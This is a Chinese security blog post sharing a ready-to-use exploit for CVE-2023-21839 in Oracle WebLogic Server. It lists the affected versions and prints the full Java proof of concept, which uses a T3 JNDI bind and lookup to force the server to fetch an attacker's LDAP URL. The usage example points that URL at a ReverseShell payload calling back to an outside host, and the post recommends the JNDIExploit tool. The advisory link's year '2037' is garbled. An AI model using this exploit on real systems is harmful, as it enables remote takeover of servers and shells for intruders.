【CVE-2023-21839 】Oracle WebLogic Server 安全漏洞
作者:Sec-Labs | 发布时间:
项目地址
https://github.com/Scarehehe/Weblogic-CVE-2023-21839
漏洞介绍
Oracle WebLogic Server是美国甲骨文(Oracle)公司的一款适用于云环境和传统环境的应用服务中间件,它提供了一个现代轻型开发平台,支持应用从开发到生产的整个生命周期管理,并简化了应用的部署和管理。
Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0 和 14.1.1.0.0存在安全漏洞,攻击者可利用该漏洞导致对关键数据的未授权访问或对所有 Oracle WebLogic Server 可访问数据的完全访问。
修复补丁
https://www.oracle.com/security-alerts/cpujan2037.html
项目介绍
Weblogic-CVE-2023-21839
CVE-2023-21839 根据网络公开poc造的轮子
影响版本
12.2.1.3.0
12.2.1.4.0
14.1.1.0.0
使用方法
java -jar 目标ip:端口 ldap地址
推荐工具:
https://github.com/WhiteHSBG/JNDIExploit
相关代码
核心代码CVE_2023_21839.java
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Random;
public class CVE_2023_21839 {
static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
static String HOW_TO_USE="[*]java -jar 目标ip:端口 ldap地址\ne.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";
private static InitialContext getInitialContext(String url)throws NamingException
{
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
public static void main(String args[]) throws Exception {
if(args.length <2){
System.out.println(HOW_TO_USE);
System.exit(0);
}
String t3Url = args[0];
String ldapUrl = args[1];
InitialContext c=getInitialContext("t3://"+t3Url);
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f,env);
Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(f,ldapUrl);
String bindName = new Random(System.currentTimeMillis()).nextLong()+"";
try{
c.bind(bindName,f);
c.lookup(bindName);
}catch(Exception e){ }
}
}
标签:工具分享, 漏洞分享, weblogic漏洞扫描工具, POC脚本, java安全